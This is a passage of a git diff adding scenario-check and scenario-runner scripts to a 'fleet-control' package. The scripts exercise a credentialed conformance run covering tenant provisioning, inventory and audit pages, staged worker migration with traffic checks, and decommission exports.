SPDX-License-Identifier: Apache-2.0 + +import type { DirectInvocationAttempts } from './direct-credentialed-invocation.mjs'; +import type { + DirectExpectedWorkerVersion, + DirectWorkerVersionObservation, +} from './direct-credentialed-observations.mjs'; +import type { + DIRECT_SCENARIO_OPERATION_SLOTS, + DirectRunActionSummary, +} from './direct-credentialed-run-state.mjs'; +import type { DIRECT_SCENARIO_PHASES } from './direct-credentialed-scenario-budget.mjs'; +import type { DirectFixtureRole } from './direct-credentialed-spec.js'; + +export type DirectScenarioNormalRole = Exclude; +export type DirectScenarioPhase = (typeof DIRECT_SCENARIO_PHASES)[number]; +export type DirectScenarioOperationSlot = + (typeof DIRECT_SCENARIO_OPERATION_SLOTS)[number]; + +export interface DirectScenarioRemoteOperation { + readonly slot: DirectScenarioOperationSlot; + readonly operationId: string | null; + readonly inputJson: string; + readonly tokenRevision: number | null; +} + +export interface DirectScenarioOperationFacts { + readonly slot: DirectScenarioOperationSlot; + readonly operationId: string | null; + readonly inputSha256: string; + readonly tokenRevision: number | null; +} + +export interface DirectScenarioRemoteRecord { + readonly role: DirectFixtureRole; + readonly present: boolean; + readonly phase?: string | null; + readonly desiredSpecDigest?: string | null; + readonly pendingSpecDigest?: string | null; + readonly artifactVersion?: string | null; + readonly pendingArtifactVersion?: string | null; + readonly databaseId?: string | null; +} + +export interface DirectScenarioRecordFacts { + readonly role: DirectFixtureRole; + readonly present: boolean; + readonly phase: string | null; + readonly desiredSpecDigest: string | null; + readonly pendingSpecDigest: string | null; + readonly artifactVersion: string | null; + readonly pendingArtifactVersion: string | null; + readonly databaseId: string | null; +} + +export interface DirectScenarioMigrationItem { + readonly ordinal: number; + readonly status: string; + readonly planCursor: number; +} + +export interface DirectScenarioSettledCall { + readonly ordinal: number; + readonly action: DirectRunActionSummary; + readonly outcome: string; +} + +export interface DirectScenarioAllowedChanges { + readonly slots: readonly string[]; + readonly roles: readonly DirectFixtureRole[]; +} + +export const NORMAL_ROLES: readonly DirectScenarioNormalRole[]; +export const SCENARIO_ROLES: readonly DirectFixtureRole[]; + +export function requireFact( + condition: unknown, + code?: string, + detail?: string, +): asserts condition; +export function equal(actual: unknown, expected: unknown): void; +export function parse(value: unknown): unknown; +export function hash(value: string): string; +export function jsonHash(value: unknown): string; +export function zeroAttempts(): DirectInvocationAttempts; +export function phaseInvocationReserve(phase: DirectScenarioPhase): number; +export function checkInvocationHeadroom( + phase: DirectScenarioPhase, + phaseCalls: Readonly>, + remaining: number, +): void; +export function changedBy( + action: DirectRunActionSummary | null | undefined, +): DirectScenarioAllowedChanges; +export function recordFacts( + record: DirectScenarioRemoteRecord, +): DirectScenarioRecordFacts; +export function operationFacts( + operation: DirectScenarioRemoteOperation, +): DirectScenarioOperationFacts; +export function expectedVersion( + record: DirectScenarioRemoteRecord | null | undefined, + release: '1' | '2', + candidate?: boolean, +): DirectExpectedWorkerVersion; +export function checkItemConvergence( + items: readonly DirectScenarioMigrationItem[], +): void; +export function checkTrafficDistribution( + candidate: DirectWorkerVersionObservation, + previous: DirectWorkerVersionObservation, +): void; +export function migrationStartSettled( + control: Readonly<{ operations: readonly DirectScenarioRemoteOperation[] }>, + mutation: DirectScenarioSettledCall | null | undefined, +): boolean; +export function migrationInterruptSettled( + control: Readonly<{ interruption: string | null }>, + mutation: DirectScenarioSettledCall | null | undefined, +): boolean; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs new file mode 100644 index 00000000..cfaf8f78 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-scenario-checks.mjs @@ -0,0 +1,166 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { isDeepStrictEqual } from 'node:util'; +import { + DIRECT_SCENARIO_INVOCATION_BUDGET, + DIRECT_SCENARIO_PHASES, +} from './direct-credentialed-scenario-budget.mjs'; + +export const NORMAL_ROLES = Object.freeze(['a', 'b']); +export const SCENARIO_ROLES = Object.freeze([...NORMAL_ROLES, 'recovery']); + +export function requireFact(condition, code = 'observation-mismatch', detail) { + if (!condition) + throw Object.assign( + new Error(code), + { code }, + detail === undefined ? {} : { detail }, + ); +} + +export function equal(actual, expected) { + requireFact(isDeepStrictEqual(actual, expected)); +} + +export function parse(value) { + requireFact(typeof value === 'string'); + return JSON.parse(value); +} + +export const hash = (value) => createHash('sha256').update(value).digest('hex'); + +export const jsonHash = (value) => hash(JSON.stringify(value)); + +export const zeroAttempts = () => ({ + provider: 0, + maintenance: 0, + application: 0, +}); + +export function phaseInvocationReserve(phase) { + const index = DIRECT_SCENARIO_PHASES.indexOf(phase); + requireFact(index >= 0, 'invalid-input'); + return DIRECT_SCENARIO_PHASES.slice(index).reduce( + (total, entry) => total + DIRECT_SCENARIO_INVOCATION_BUDGET[entry].reserve, + 0, + ); +} + +export function checkInvocationHeadroom(phase, phaseCalls, remaining) { + requireFact(remaining > 0, 'invocation-budget-exhausted'); + const budget = DIRECT_SCENARIO_INVOCATION_BUDGET[phase]; + requireFact(budget, 'invalid-input'); + const spent = phaseCalls[phase]; + requireFact(spent < budget.ceiling, 'budget-exhausted', 'phase-ceiling'); + requireFact( + remaining >= phaseInvocationReserve(phase) - spent, + 'budget-exhausted', + 'run-reserve', + ); +} + +export function changedBy(action) { + if (!action) return { slots: [], roles: [] }; + const { kind, role, slot, release } = action; + if (kind === 'provision') + return { + slots: [ + role === 'recovery' && release === 'initial' + ? 'cleanup-recovery-initial' + : `cleanup-${role}`, + ], + roles: [role], + }; + if (kind.startsWith('inventory-')) return { slots: [slot], roles: [] }; + if (kind.startsWith('audit-')) return { slots: [slot], roles: [] }; + if (kind.startsWith('migration-')) + return { slots: ['migration-next'], roles: [...NORMAL_ROLES] }; + if (kind.startsWith('cleanup-')) + return { slots: [`cleanup-${role}`], roles: [role] }; + if (kind.startsWith('decommission-')) + return { slots: [`decommission-${role}`], roles: [role] }; + if (kind === 'force-recovery' || kind === 'recover-force-residual') + return { slots: [], roles: ['recovery'] }; + return { slots: [], roles: [] }; +} + +export function recordFacts(record) { + return { + role: record.role, + present: record.present, + phase: record.phase ?? null, + desiredSpecDigest: record.desiredSpecDigest ?? null, + pendingSpecDigest: record.pendingSpecDigest ?? null, + artifactVersion: record.artifactVersion ?? null, + pendingArtifactVersion: record.pendingArtifactVersion ?? null, + databaseId: record.databaseId ?? null, + }; +} + +export function operationFacts(operation) { + return { + slot: operation.slot, + operationId: operation.operationId, + inputSha256: hash(operation.inputJson), + tokenRevision: operation.tokenRevision, + }; +} + +export function expectedVersion(record, release, candidate = false) { + requireFact(record?.present); + return { + role: record.role, + versionId: candidate + ? record.pendingArtifactVersion + : record.artifactVersion, + databaseId: record.databaseId, + specDigest: candidate ? record.pendingSpecDigest : record.desiredSpecDigest, + applicationRelease: release, + }; +} + +export function checkItemConvergence(items) { + if (items[1].status !== 'pending') equal(items[0].status, 'complete'); +} + +export function checkTrafficDistribution(candidate, previous) { + equal(candidate.trafficPercentage, 0); + equal(candidate.currentDeployment.activeVersionId, previous.versionId); + equal( + new Map( + candidate.currentDeployment.versions.map((entry) => [ + entry.versionId, + entry.percentage, + ]), + ), + new Map([ + [previous.versionId, 100], + [candidate.versionId, 0], + ]), + ); +} + +export function migrationStartSettled(control, mutation) { + const started = control.operations.find( + (entry) => entry.slot === 'migration-next', + ); + if (!started) return false; + requireFact( + started.operationId && + mutation?.outcome === 'returned' && + mutation.action.kind === 'migration-start', + 'proof-unavailable', + ); + return true; +} + +export function migrationInterruptSettled(control, mutation) { + if (!control.interruption) return false; + requireFact( + mutation?.outcome === 'injected-response-loss' && + mutation.action.kind === 'migration-continue', + 'proof-unavailable', + ); + return true; +} diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts new file mode 100644 index 00000000..44c86346 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.d.mts @@ -0,0 +1,223 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { FleetAuditResultRef } from '../src/fleet-audit-advance.js'; +import type { CleanupTerminalReceipt } from '../src/types.js'; +import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { + DirectInvocationAttempts, + DirectInvocationClient, +} from './direct-credentialed-invocation.mjs'; +import type { + DirectSettlementEffect, + DirectVerifiedExport, + DirectWorkerVersionObservation, +} from './direct-credentialed-observations.mjs'; +import type { + DIRECT_SCENARIO_FAILURES, + DirectRunActionSummary, + DirectRunJournal, +} from './direct-credentialed-run-state.mjs'; +import type { + DirectScenarioNormalRole, + DirectScenarioOperationFacts, + DirectScenarioPhase, + DirectScenarioRecordFacts, +} from './direct-credentialed-scenario-checks.mjs'; +import type { DirectFixtureRole } from './direct-credentialed-spec.js'; + +type Role = DirectFixtureRole; +type NormalRole = DirectScenarioNormalRole; + +export type { DirectScenarioOperationSlot } from './direct-credentialed-scenario-checks.mjs'; +export type { DirectScenarioPhase }; +export type DirectScenarioFailure = (typeof DIRECT_SCENARIO_FAILURES)[number]; +interface ScenarioCall { + readonly ordinal: number; + readonly action: DirectRunActionSummary; + readonly outcome: + | 'prepared' + | 'returned' + | 'injected-response-loss' + | 'reference-refused'; + readonly attempts: DirectInvocationAttempts | null; + readonly migration: Readonly<{ + itemOrdinal: 0 | 1; + cursor: number; + step: string; + itemsSha256: string; + }> | null; +} +interface ScenarioProcess { + readonly pid: number; + readonly startTicks: string; + readonly bootId: string; +} +export interface DirectScenarioFootprint { + readonly version: 1; + readonly role: 'recovery'; + readonly beforeIdentitySha256: string; + readonly fleetRecordPresent: false; + readonly deploymentClaimsPresent: false; + readonly database: Readonly<{ + id: string; + expectedName: string; + observedName: null; + }>; + readonly worker: Readonly<{ + scriptName: string; + scriptPresent: boolean; + workersDevEnabled: false | null; + previewUrlsEnabled: false | null; + customDomains: readonly never[]; + zoneRoutes: readonly never[]; + currentSecretNames: readonly never[]; + currentVersionIds: readonly string[] | null; + currentNamespaceIds: readonly string[]; + survivingRecordedNamespaceIds: readonly string[]; + }>; + readonly buckets: readonly Readonly<{ + bindingName: 'PROBE_BUCKET'; + bucketName: string; + jurisdiction: 'default'; + expectedCreationDate: string; + observedCreationDate: string | null; + }>[]; + readonly priorCleanup: Readonly<{ + operationId: string; + observedReceiptSha256: string; + matchesBefore: true; + }>; +} +interface ScenarioInventory { + readonly operationId: string; + readonly generation: number; + readonly calls: number; + readonly databaseIds: readonly string[]; + readonly namespaceIds: readonly string[]; + readonly scriptNames: readonly string[]; + readonly bucketNames: readonly string[]; + readonly findings: readonly Readonly<{ + kind: string; + detailSha256: string; + }>[]; +} +type ScenarioAudit = FleetAuditResultRef & + Readonly<{ + recordCount: 2; + findings: readonly Readonly<{ + tenantTag: string; + environment: string; + kind: string; + detailSha256: string; + }>[]; + }>; +export interface DirectScenarioProofs { + readonly initial: Readonly< + Record + >; + readonly candidate: Readonly< + Record + >; + readonly final: Readonly< + Record + >; + readonly objects: Readonly< + Record | null> + >; + readonly objectDeletions: Readonly>; + readonly recoveryExportAbsent: Readonly<{ + beforeOrdinal: number | null; + afterOrdinal: number | null; + }>; + readonly health: readonly Readonly<{ + role: Role; + release: '1' | '2'; + marker: 'initial' | 'next'; + ordinal: number; + }>[]; + readonly inventories: Readonly< + Record<'before' | 'after', ScenarioInventory | null> + >; + readonly audits: Readonly>; + readonly restart: Readonly<{ + process: ScenarioProcess; + resumedProcess: ScenarioProcess | null; + lossOrdinal: number; + operationId: string; + witnessSha256: string; + claimSha256: string; + successorSha256: string; + itemsSha256: string; + replayOrdinal: number | null; + }> | null; + readonly steps: readonly Readonly< + DirectInvocationAttempts & { + ordinal: number; + itemOrdinal: 0 | 1; + step: string; + beforeCursor: number; + afterCursor: number; + } + >[]; + readonly effects: readonly DirectSettlementEffect[]; + readonly cleanup: CleanupTerminalReceipt | null; + readonly exports: Readonly>; + readonly exportVerifications: readonly DirectVerifiedExport[]; + readonly decommission: Readonly< + Record< + NormalRole, + Readonly<{ + operationId: string; + databaseId: string; + scriptName: string; + phase: 'decommissioned'; + }> | null + > + >; + readonly force: DirectScenarioFootprint | null; + readonly residual: DirectScenarioFootprint | null; +} +export interface DirectScenarioState { + readonly version: 1; + readonly phase: DirectScenarioPhase; + readonly startedOrdinal: number; + readonly callCount: number; + readonly phaseCalls: Readonly>; + readonly attempts: DirectInvocationAttempts; + readonly sdkRequests: number; + readonly inventoryCalls: Readonly<{ before: number; after: number }>; + readonly lastCall: ScenarioCall | null; + readonly mutation: ScenarioCall | null; + readonly reconciledOrdinal: number; + readonly operations: readonly DirectScenarioOperationFacts[]; + readonly records: readonly DirectScenarioRecordFacts[]; + readonly failure: Readonly<{ + code: DirectScenarioFailure; + ordinal: number; + }> | null; + readonly proofs: DirectScenarioProofs; +} +export type DirectScenarioOutcome = + | Readonly<{ status: 'restart-required' }> + | Readonly<{ + status: 'complete'; + facts: DirectScenarioProofs; + invocationCount: number; + attempts: DirectInvocationAttempts; + sdkRequests: number; + }> + | Readonly<{ + status: 'failed'; + reason: DirectScenarioFailure; + phase: DirectScenarioPhase | null; + invocationCount: number; + }>; +export function runDirectCredentialedScenario( + input: Readonly<{ + prepared: PreparedDirectConformance; + journal: DirectRunJournal; + invocation: DirectInvocationClient; + apiToken: string; + fetch?: typeof fetch; + }>, +): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-scenario.mjs b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs new file mode 100644 index 00000000..3e2c9c6f --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-scenario.mjs @@ -0,0 +1,1078 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { readFile } from 'node:fs/promises'; +import { isDeepStrictEqual } from 'node:util'; +import { DirectInvocationError } from './direct-credentialed-invocation.mjs'; +import { + observeDirectWorkerVersion, + readDirectSettlementEffects, + verifyDirectDecommissionExport, +} from './direct-credentialed-observations.mjs'; +import { + actionSummary, + DIRECT_SCENARIO_ARRAY_MAXIMA, + DIRECT_SCENARIO_FAILURES, + DirectRunStateError, +} from './direct-credentialed-run-state.mjs'; +import { + DIRECT_SCENARIO_MIN_INVOCATIONS, + DIRECT_SCENARIO_PHASES, +} from './direct-credentialed-scenario-budget.mjs'; +import { + changedBy, + checkInvocationHeadroom, + checkItemConvergence, + checkTrafficDistribution, + equal, + expectedVersion, + hash, + jsonHash, + migrationInterruptSettled, + migrationStartSettled, + NORMAL_ROLES, + operationFacts, + parse, + recordFacts, + requireFact, + SCENARIO_ROLES, + zeroAttempts, +} from './direct-credentialed-scenario-checks.mjs'; +import { DIRECT_TENANT_OBJECT_BODY } from './direct-credentialed-tenant-object.mjs'; +import { directCleanupReceiptDigest } from './direct-reference-receipt.mjs'; + +const busy = new WeakSet(); +const objectDigest = hash(DIRECT_TENANT_OBJECT_BODY); +const objectSize = Buffer.byteLength(DIRECT_TENANT_OBJECT_BODY); +const failureCodes = new Set(DIRECT_SCENARIO_FAILURES); + +async function processIdentity() { + const stat = await readFile('/proc/self/stat', 'utf8'); + return { + pid: process.pid, + startTicks: stat.slice(stat.lastIndexOf(')') + 2).split(' ')[19], + bootId: (await readFile('/proc/sys/kernel/random/boot_id', 'utf8')).trim(), + }; +} +function initialState(ordinal) { + return { + version: 1, + phase: 'provision-a', + startedOrdinal: ordinal, + callCount: 0, + phaseCalls: Object.fromEntries( + DIRECT_SCENARIO_PHASES.map((phase) => [phase, 0]), + ), + attempts: zeroAttempts(), + sdkRequests: 0, + inventoryCalls: { before: 0, after: 0 }, + lastCall: null, + mutation: null, + reconciledOrdinal: ordinal, + operations: [], + records: [], + failure: null, + proofs: { + initial: { a: null, b: null, recovery: null }, + candidate: { a: null, b: null }, + final: { a: null, b: null }, + objects: { a: null, b: null }, + objectDeletions: { a: null, b: null }, + recoveryExportAbsent: { beforeOrdinal: null, afterOrdinal: null }, + health: [], + inventories: { before: null, after: null }, + audits: { before: null, after: null }, + restart: null, + steps: [], + effects: [], + cleanup: null, + exports: { a: null, b: null }, + exportVerifications: [], + decommission: { a: null, b: null }, + force: null, + residual: null, + }, + }; +} +export async function runDirectCredentialedScenario(input) { + const { prepared, journal, invocation, apiToken } = input; + let state; + let control; + let acquired = false; + const persist = async () => { + await journal.recordScenario(state); + state = structuredClone(journal.snapshot().scenario); + }; + const advancePhase = async () => { + await sync(); + state.phase = + DIRECT_SCENARIO_PHASES[DIRECT_SCENARIO_PHASES.indexOf(state.phase) + 1]; + state.mutation = null; + await persist(); + }; + const invoke = async (action, mutates = false, migration = null) => { + const snapshot = journal.snapshot(); + requireFact( + snapshot.lastInvocation?.state !== 'pending' && + !snapshot.bootstrap?.pending, + 'outcome-unknown', + ); + const remaining = + snapshot.binding.maxInvocations - snapshot.invocationCount; + checkInvocationHeadroom(state.phase, state.phaseCalls, remaining); + const call = { + ordinal: snapshot.invocationCount + 1, + action: actionSummary(action), + outcome: 'prepared', + attempts: null, + migration, + }; + state.lastCall = call; + if (mutates) state.mutation = call; + await persist(); + let response; + let error; + try { + response = await invocation.invoke(action); + } catch (caught) { + error = caught; + } + const after = journal.snapshot(); + requireFact( + after.invocationCount === call.ordinal && + after.lastInvocation?.state === 'settled', + 'outcome-unknown', + ); + if (error) + requireFact( + error instanceof DirectInvocationError && + error.attempts && + ['injected-response-loss', 'reference-refused'].includes(error.code), + 'outcome-unknown', + ); + const attempts = error ? error.attempts : response.attempts; + const settled = { + ...call, + outcome: error ? error.code : 'returned', + attempts, + }; + state.lastCall = settled; + if (mutates) state.mutation = settled; + state.callCount++; + state.phaseCalls[state.phase]++; + for (const key of Object.keys(attempts)) + state.attempts[key] += attempts[key]; + if ( + action.kind === 'inventory-start' || + action.kind === 'inventory-continue' + ) + state.inventoryCalls[ + action.slot === 'inventory-before' ? 'before' : 'after' + ]++; + await persist(); + if (error) throw error; + return response.result; + }; + const sync = async () => { + const fresh = await invoke({ kind: 'control-read' }); + const snapshot = journal.snapshot(); + const bootstrap = snapshot.bootstrap; + equal(fresh.binding, { + version: 1, + accountId: snapshot.binding.accountId, + fleetDatabaseId: bootstrap.fleet.uuid, + quotaDatabaseId: bootstrap.quota.uuid, + exportBucketName: bootstrap.exports.name, + referenceModuleSetSha256: prepared.referenceModuleSetSha256, + accountWorkersDevSubdomain: bootstrap.context.accountWorkersDevSubdomain, + }); + requireFact( + Array.isArray(fresh.operations) && Array.isArray(fresh.records), + ); + const allowed = changedBy( + state.mutation?.outcome === 'prepared' || + (state.mutation?.ordinal ?? 0) <= state.reconciledOrdinal + ? null + : state.mutation?.action, + ); + const operations = fresh.operations.map(operationFacts); + for (const known of state.operations) { + const remote = operations.find((entry) => entry.slot === known.slot); + requireFact(remote); + equal(remote.inputSha256, known.inputSha256); + if (known.operationId !== null) + equal(remote.operationId, known.operationId); + if (!allowed.slots.includes(known.slot)) equal(remote, known); + else + requireFact((remote.tokenRevision ?? 0) >= (known.tokenRevision ?? 0)); + } + for (const remote of operations) + requireFact( + state.operations.some((known) => known.slot === remote.slot) || + allowed.slots.includes(remote.slot), + ); + const records = fresh.records.map(recordFacts); + equal( + records.map((record) => record.role), + [...SCENARIO_ROLES], + ); + for (const remote of records) { + const known = state.records.find((record) => record.role === remote.role); + if (!known) + requireFact(!remote.present || allowed.roles.includes(remote.role)); + else if (!allowed.roles.includes(remote.role)) equal(remote, known); + } + if (!state.proofs.restart && state.phase !== 'migration-interrupt') + equal(fresh.interruption, null); + if ( + DIRECT_SCENARIO_PHASES.indexOf(state.phase) < + DIRECT_SCENARIO_PHASES.indexOf('force-recovery') + ) { + requireFact(!fresh.forceBefore && !fresh.forceAfter); + } + state.operations = operations; + state.records = records; + if (state.proofs.restart) + equal(hash(fresh.interruption), state.proofs.restart.witnessSha256); + if (state.proofs.force) + equal(parse(fresh.forceAfter.identityJson), state.proofs.force); + state.reconciledOrdinal = journal.snapshot().invocationCount; + await persist(); + control = fresh; + return fresh; + }; + const mutate = async (action, migration = null) => { + await sync(); + return invoke(action, true, migration); + }; + const record = (role) => control.records.find((entry) => entry.role === role); + const slot = (name) => + control.operations.find((entry) => entry.slot === name); + const observer = { + prepared, + journal, + apiToken, + fetch: async (request, init) => { + state.sdkRequests++; + await persist(); + return (input.fetch ?? globalThis.fetch)(request, init); + }, + }; + const observe = (role, release, candidate = false) => + observeDirectWorkerVersion({ + ...observer, + ...expectedVersion(record(role), release, candidate), + }); + const health = async (role, release, marker) => { + if ( + state.proofs.health.some( + (entry) => entry.role === role && entry.release === release, + ) + ) + return; + requireFact( + state.proofs.health.length < DIRECT_SCENARIO_ARRAY_MAXIMA.health, + 'proof-unavailable', + ); + const result = await invoke({ + kind: 'tenant-probe', + role, + operation: 'health', + }); + equal(result, { role, operation: 'health', release, marker }); + state.proofs.health.push({ + role, + release, + marker, + ordinal: journal.snapshot().invocationCount, + }); + await persist(); + }; + const objectRead = async (role, present) => { + const result = await invoke({ + kind: 'tenant-probe', + role, + operation: 'object-read', + }); + equal(result, { + role, + operation: 'object-read', + present, + ...(present ? { size: objectSize, sha256: objectDigest } : {}), + }); + return present ? { size: result.size, sha256: result.sha256 } : null; + }; + const provision = async (role) => { + await sync(); + if (!record(role).present) { + requireFact( + !slot( + role === 'recovery' ? 'cleanup-recovery-initial' : `cleanup-${role}`, + ), + 'proof-unavailable', + ); + const result = await mutate({ + kind: 'provision', + role, + release: 'initial', + }); + requireFact(result.status === 'ready'); + await sync(); + } + equal(record(role).phase, 'ready'); + if (!state.proofs.initial[role]) { + const observation = await observe(role, '1'); + equal(observation.trafficPercentage, 100); + state.proofs.initial[role] = observation; + await persist(); + } + await health(role, '1', 'initial'); + if (role !== 'recovery' && !state.proofs.objects[role]) { + const result = await mutate({ + kind: 'tenant-probe', + role, + operation: 'object-put', + }); + equal(result, { role, operation: 'object-put', returned: true }); + const object = await objectRead(role, true); + state.proofs.objects[role] = object; + await persist(); + } + if (role === 'recovery') await objectRead(role, false); + await advancePhase(); + }; + const inventory = async (when) => { + const name = `inventory-${when}`; + if (state.proofs.inventories[when]) { + const selected = await invoke({ kind: 'inventory-read', slot: name }); + equal(selected.operationId, state.proofs.inventories[when].operationId); + equal(selected.generation, state.proofs.inventories[when].generation); + await advancePhase(); + return; + } + let result = await mutate({ kind: 'inventory-start', slot: name }); + while (result.status === 'pending') + result = await mutate({ + kind: 'inventory-continue', + slot: name, + token: result.token, + }); + requireFact(result.status === 'complete' && state.inventoryCalls[when] > 1); + const selected = await invoke({ kind: 'inventory-read', slot: name }); + equal(selected.operationId, result.generation.operationId); + equal(selected.generation, result.generation.generation); + const observed = selected.inventory; + const proof = { + operationId: selected.operationId, + generation: selected.generation, + calls: state.inventoryCalls[when], + databaseIds: [...observed.databaseIds].sort(), + namespaceIds: [...observed.namespaceIds].sort(), + scriptNames: observed.deployments.map((entry) => entry.scriptName).sort(), + bucketNames: observed.r2Buckets.map((entry) => entry.bucketName).sort(), + findings: observed.findings.map((entry) => ({ + kind: entry.kind, + detailSha256: hash(entry.detail), + })), + }; + for (const [key, maximum] of Object.entries( + DIRECT_SCENARIO_ARRAY_MAXIMA.inventory, + )) + requireFact(proof[key].length <= maximum, 'proof-unavailable'); + equal( + proof.databaseIds, + NORMAL_ROLES.map((role) => state.proofs.initial[role].databaseId).sort(), + ); + equal( + proof.scriptNames, + NORMAL_ROLES.map((role) => prepared.names.roles[role].scriptName).sort(), + ); + if (when === 'after') + requireFact( + proof.generation > state.proofs.inventories.before.generation, + ); + state.proofs.inventories[when] = proof; + await persist(); + await advancePhase(); + }; + const audit = async (when) => { + const name = `audit-${when}`; + let result = await mutate({ kind: 'audit-start', slot: name }); + while (result.status === 'pending') + result = await mutate({ + kind: 'audit-continue', + slot: name, + token: result.token, + }); + requireFact(result.status === 'complete'); + equal(result.result.generation, state.proofs.inventories[when].generation); + equal(result.result.recordCount, 2); + await sync(); + const frozen = parse(slot(name).inputJson); + equal( + frozen.records.map((entry) => entry.tenantTag), + NORMAL_ROLES.map((role) => prepared.names.roles[role].tenantTag), + ); + const findings = []; + let afterOrdinal; + for (;;) { + const page = await invoke({ + kind: 'audit-page', + slot: name, + limit: 32, + ...(afterOrdinal === undefined ? {} : { afterOrdinal }), + }); + findings.push( + ...page.findings.map((finding) => ({ + tenantTag: finding.tenantTag, + environment: finding.environment, + kind: finding.kind, + detailSha256: hash(finding.detail), + })), + ); + requireFact( + findings.length <= DIRECT_SCENARIO_ARRAY_MAXIMA.auditFindings, + ); + if (page.done) break; + requireFact( + Number.isSafeInteger(page.nextAfterOrdinal) && + page.nextAfterOrdinal > (afterOrdinal ?? -1), + ); + afterOrdinal = page.nextAfterOrdinal; + } + equal(findings.length, result.result.findingCount); + state.proofs.audits[when] = { ...result.result, findings }; + await persist(); + requireFact(findings.length === 0); + await advancePhase(); + }; + const items = async () => { + const page = await invoke({ kind: 'migration-page', limit: 2 }); + requireFact(page.done && page.items.length === 2); + page.items.forEach((item, index) => { + equal(item.ordinal, index); + equal( + item.tenantTag, + prepared.names.roles[NORMAL_ROLES[index]].tenantTag, + ); + equal(item.environment, prepared.config.environment); + requireFact(item.status !== 'failed'); + }); + checkItemConvergence(page.items); + return page.items; + }; + const interruption = async () => { + const value = parse(control.interruption); + equal(value.version, 1); + equal(value.boundary, 'after-migration-admission'); + equal(value.slot, 'migration-next'); + equal(value.operationId, slot('migration-next').operationId); + const claim = parse(value.claimJson); + const successor = parse(value.returnedTokenJson); + equal(claim.operationId, value.operationId); + equal(successor.operationId, value.operationId); + requireFact(successor.revision > claim.revision); + equal(value.item.ordinal, 0); + equal(value.item.beforeStatus, 'pending'); + equal(value.item.afterStatus, 'active'); + equal(value.item.planCursor, 0); + equal(value.item.tenantTag, prepared.names.roles.a.tenantTag); + equal(value.item.environment, prepared.config.environment); + const current = await items(); + equal(current[0].status, 'active'); + equal(current[0].planCursor, 0); + equal(current[0].entryRecordDigest, value.item.entryRecordDigest); + equal(current[0].targetSpecDigest, value.item.targetSpecDigest); + equal(current[1].status, 'pending'); + return { value, claim, successor, current }; + }; + const migration = async () => { + for (;;) { + await sync(); + const current = await items(); + const previous = state.mutation; + if (previous?.migration) { + const frame = previous.migration; + const item = current[frame.itemOrdinal]; + equal(item.planCursor, frame.cursor + 1); + equal( + jsonHash( + current.map((entry, index) => + index === frame.itemOrdinal + ? { ...entry, planCursor: frame.cursor, status: 'active' } + : entry, + ), + ), + frame.itemsSha256, + ); + requireFact(previous.outcome === 'returned', 'proof-unavailable'); + if ( + !state.proofs.steps.some( + (entry) => entry.ordinal === previous.ordinal, + ) + ) { + if (frame.step === 'arm-maintenance') + requireFact(previous.attempts.maintenance > 0); + requireFact( + state.proofs.steps.length < DIRECT_SCENARIO_ARRAY_MAXIMA.steps, + 'proof-unavailable', + ); + state.proofs.steps.push({ + ordinal: previous.ordinal, + itemOrdinal: frame.itemOrdinal, + step: frame.step, + beforeCursor: frame.cursor, + afterCursor: item.planCursor, + ...previous.attempts, + }); + await persist(); + } + state.mutation = null; + await persist(); + } + for (const [index, role] of NORMAL_ROLES.entries()) { + const item = current[index]; + equal(record(role).databaseId, state.proofs.initial[role].databaseId); + if (item.status === 'pending') { + equal(expectedVersion(record(role), '1'), { + role, + versionId: state.proofs.initial[role].versionId, + databaseId: state.proofs.initial[role].databaseId, + specDigest: state.proofs.initial[role].specDigest, + applicationRelease: '1', + }); + continue; + } + const cursor = item.planCursor; + const plan = item.plan; + const next = plan[cursor]?.step; + if (next === 'arm-maintenance' && !state.proofs.candidate[role]) { + const candidate = await observe(role, '2', true); + equal(candidate.specDigest, item.targetSpecDigest); + checkTrafficDistribution(candidate, state.proofs.initial[role]); + state.proofs.candidate[role] = candidate; + await persist(); + } + if (next === 'promote') { + requireFact(state.proofs.candidate[role]); + requireFact( + state.proofs.steps.some( + (entry) => + entry.itemOrdinal === index && + entry.step === 'arm-maintenance' && + entry.maintenance > 0, + ), + ); + } + const promoted = plan.findIndex((entry) => entry.step === 'promote'); + if (promoted >= 0 && cursor > promoted && !state.proofs.final[role]) { + requireFact(state.proofs.candidate[role]); + const version = state.proofs.candidate[role]; + const observed = await observeDirectWorkerVersion({ + ...observer, + role, + versionId: version.versionId, + databaseId: version.databaseId, + specDigest: version.specDigest, + applicationRelease: '2', + }); + equal(observed.trafficPercentage, 100); + equal(observed.currentDeployment.versions, [ + { versionId: version.versionId, percentage: 100 }, + ]); + state.proofs.final[role] = observed; + await persist(); + } + } + if (current.every((item) => item.status === 'complete')) { + const result = await mutate({ kind: 'migration-continue' }); + requireFact(result.status === 'complete'); + const expected = NORMAL_ROLES.map((role) => + expectedVersion(record(role), '2'), + ); + const effects = await readDirectSettlementEffects({ + ...observer, + expected, + }); + state.proofs.effects = effects; + await persist(); + await advancePhase(); + return; + } + const active = current.find((item) => item.status === 'active'); + const frame = active + ? { + itemOrdinal: active.ordinal, + cursor: active.planCursor, + step: active.plan[active.planCursor].step, + itemsSha256: jsonHash(current), + } + : null; + const result = await mutate({ kind: 'migration-continue' }, frame); + requireFact(result.status === 'pending' || result.status === 'complete'); + } + }; + const decommission = async (role) => { + await sync(); + let result; + if (!slot(`decommission-${role}`)) + result = await mutate({ kind: 'decommission-start', role }); + while (result?.status !== 'complete') { + await sync(); + const metadata = await invoke({ kind: 'decommission-export', role }); + if (metadata.available) { + if (state.proofs.exports[role]) { + const { receipt, location, size, sha256 } = + state.proofs.exports[role]; + equal( + { + receipt: metadata.receipt, + location: metadata.location, + size: metadata.size, + sha256: metadata.sha256, + }, + { receipt, location, size, sha256 }, + ); + } else { + requireFact( + metadata.lifecyclePhase === 'database-exported', + 'proof-unavailable', + ); + } + const verified = await verifyDirectDecommissionExport({ + ...observer, + role, + metadata, 